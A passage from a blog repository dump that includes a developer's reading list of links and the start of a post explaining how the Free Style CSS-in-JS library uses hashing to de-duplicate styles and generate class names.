Australia](https://www.nytimes.com/2017/05/01/world/australia/trump-north-korea-us-china.html) 48 | - Software 49 | - [Using GraphQL? Why Facebook Now Owns You 🐲](https://medium.com/@dwalsh.sdlr/using-graphql-why-facebook-now-owns-you-3182751028c9) 50 | - [How to travel the world as a developer](https://medium.freecodecamp.org/how-to-be-a-developer-and-travel-the-world-376818109bff) 51 | - [3 Ways to Stop Designing for Addiction](http://bradfrost.com/blog/link/3-ways-to-stop-designing-for-addiction/) 52 | - [Deploying a TypeScript + Node AWS Lambda Function with Serverless](https://blog.shovonhasan.com/deploying-a-typescript-node-aws-lambda-function-with-serverless/) 53 | - [How to build a Scalable Crawler on the cloud, that can mine thousands of data points, costing less…](https://medium.com/@marcello.lins/how-to-build-a-scalable-crawler-on-the-cloud-that-can-mine-thousands-of-data-points-costing-less-a9825331eef5) 54 | - [Getting started with Puppeteer and Chrome Headless for Web Scraping](https://medium.com/@e_mad_ehsan/getting-started-with-puppeteer-and-chrome-headless-for-web-scrapping-6bf5979dee3e) 55 | - [Architecting Electron Applications for 60fps](https://www.nearform.com/blog/architecting-electron-applications-for-60fps/) 56 | - [Rapid release at massive scale](https://code.facebook.com/posts/270314900139291/rapid-release-at-massive-scale/) 57 | - [Using Ansible for deploying serverless applications](https://opensource.com/article/17/8/ansible-serverless-applications) 58 | - [Building a Serverless E-Commerce App with AWS Lambda, Stripe and React](https://medium.com/@patrickmichelberger/building-a-serverless-e-commerce-app-with-aws-lambda-stripe-and-react-4663e241710b) 59 | - [3 Questions about Serverless Technology](https://thenewstack.io/3-questions-serverless-technology/) 60 | - [Let’s talk about Javascript string encoding](https://kev.inburke.com/kevin/node-js-string-encoding/) 61 | - [A Guide To Virtual Reality For Web Developers](https://www.smashingmagazine.com/2017/09/guide-virtual-reality-web-developers/) 62 | - [The PRPL Pattern](https://developers.google.com/web/fundamentals/performance/prpl-pattern/) 63 | - [What's a network interface?](https://jvns.ca/blog/2017/09/03/network-interfaces/) 64 | 65 | ## Reading 66 | 67 | - [What Technology Wants](https://www.goodreads.com/book/show/7954936-what-technology-wants) 68 | - Just started [Sapiens: A Brief History of Humankind](https://www.goodreads.com/book/show/23692271-sapiens) (audiobook) 69 | - Finished [The Phoenix Project: A Novel About IT, DevOps, and Helping Your Business Win](https://www.goodreads.com/book/show/17255186-the-phoenix-project) (audiobook) 70 | -------------------------------------------------------------------------------- /posts/2016-01-intro-to-free-style-css-in-js.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Introduction to Free Style (and CSS-in-JS) 3 | date: 2016-01-17 14:45 4 | author: Blake Embrey 5 | layout: article 6 | github: blakeembrey/free-style 7 | npm: free-style 8 | --- 9 | 10 | With the release of Free Style 1.0, I figure it's about time to write about Free Style - how it works, why you'd want to use it and little introduction to CSS-in-JS. This has been a long time coming, with my first commit to Free Style over a year ago, and the first commit to Free Style in its current form 10 months ago. This is not a blog post designed to sway decisions - as always, you should use your own fair judgement. 11 | 12 | ## CSS-in-JS 13 | 14 | The idea of CSS-in-JS is well covered in [this presentation by React engineer](https://speakerdeck.com/vjeux/react-css-in-js), Christopher Chedeau, and by [many](https://github.com/MicheleBertoli/css-in-js) [others](http://formidable.com/blog/2015/03/01/launching-radium/), so I'll be brief. As React popularized the declarative DOM, it also enabled a generation of CSS-in-JS approaches that attempt to solve the many pitfalls of CSS. These pitfalls are well known and documented, and including "features" such as the global namespace, constant sharing and many approaches to component isolation (BEM, SMACSS). Writing CSS in a way that avoids the pitfalls can be regarded an art. 15 | 16 | CSS-in-JS approaches exist to solve the pollution of the global namespace, constant sharing, component isolation, and bring many other unforeseen benefits. The JS part exists because these solutions utilize JavaScript as the way to provide namespacing, constant sharing and proper isolation. You may have already known, but these are things that have long been solved in programming languages, including JavaScript - with CommonJS, AMD and recently ES6 modules. It stands to reason that, if possible, JavaScript will provide a more sound foundation for writing modular CSS. Tooling for JavaScript is more mature, with the ability to do autocompletion, dead code elimination and linting common-place. 17 | 18 | ## How and Why Does Free Style Work? 19 | 20 | Free Style works with hashes. If there's one word you should love at the end of this section, it's hashing. With that said, the essence of [free-style](https://github.com/blakeembrey/free-style/blob/master/src/free-style.ts) is less than 500 lines of code (in TypeScript), so I definitely suggest you check it out. 21 | 22 | Free Style is built on top of a core `Cache` class. This class implements a way to append children using an ID (which is a hash), keeps track of how many times a child was added and removed, and can also attach simple change listeners (for when a child is added or removed). Three classes extend the `Cache` implementation to replicate the structure of CSS - `Rule`, `Style` and `FreeStyle`. The only other important class is `Selector`, which implements a `Cacheable` interface (`Cache` fulfills the same interface). 23 | 24 | Using these four classes, we can replicate CSS in a way that automatically de-dupes styles. First, we create a `FreeStyle` instance (it can be imagined as a `.css` file). This class holds `Rule` and `Style` children. When you use `registerStyle`, it'll stringifying each object to CSS and hash the contents, while also propagating any rules upward (E.g. when `@media` nested inside a style). The result is a single style registering (potentially) a number of `Style` and `Rule` instances, all of which have their hashes of their own contents. Throughout each instance creation, `registerStyle` collects a separate hash that is returned as the CSS class name to use. Finally, when the final class name hash is known, the class name is interpolated with all selectors and returned for you to use. 25 | 26 | The result of this means that duplicate hashes are automatically merged. A duplicate hash means a duplicate rule, style or selector. The benefit of separating `Rule` and `Style` means that two identical media queries can be merged together (less CSS output) and so can identical styles within each context (E.g. identical styles inside and outside the media query can not be merged, but duplicates both inside or outside can be). The `Selector` class exists because now that duplicates are merged, multiple selectors can exist for the same `Style`. 27 | 28 | The other interesting methods are `registerRule` and `registerKeyframes`. Both work similar to `registerStyle`, but are much be simpler. `registerRule` works by recursively registering rules, which are automatically being hashed based on the rule and their contents. `registerKeyframes` works by creating rules and styles that get added to a `Rule` instance and returns a selector of the complete hashed contents (hence keyframes are automatically hashed/namespaced). 29 | 30 | All this hashing results in the fact that all styles are automatically unique. Registered styles and keyframes have a hash to identify them and the chance of a conflicting style is now left to the computer to resolve, not you. The other pitfalls of CSS are automatically solved as the result of JavaScript, as the hash can only be known and exposed by the implementor while constants and isolation are now solved (you can even use NPM libraries for style manipulation now). 31 | 32 | **Update:** One useful fact that may not be immediately obvious. By using hashes as the class name, it means output is _always_ consistent across front-end and back-end (E.g. in isomorphic applications). 33 | 34 | ## Free Style Output Targets 35 | 36 | Now that you understand how Free Style works, the output targets should make a lot more sense. By default, Free Style exposes a feature-rich implementation ready for third-parties to build on top. To use it today, you must create instances of `FreeStyle` (using `create()`), merge any other instances and use `getStyles` to get the CSS output. There's an `inject()` method, which will take the result of `getStyles` and wrap it in `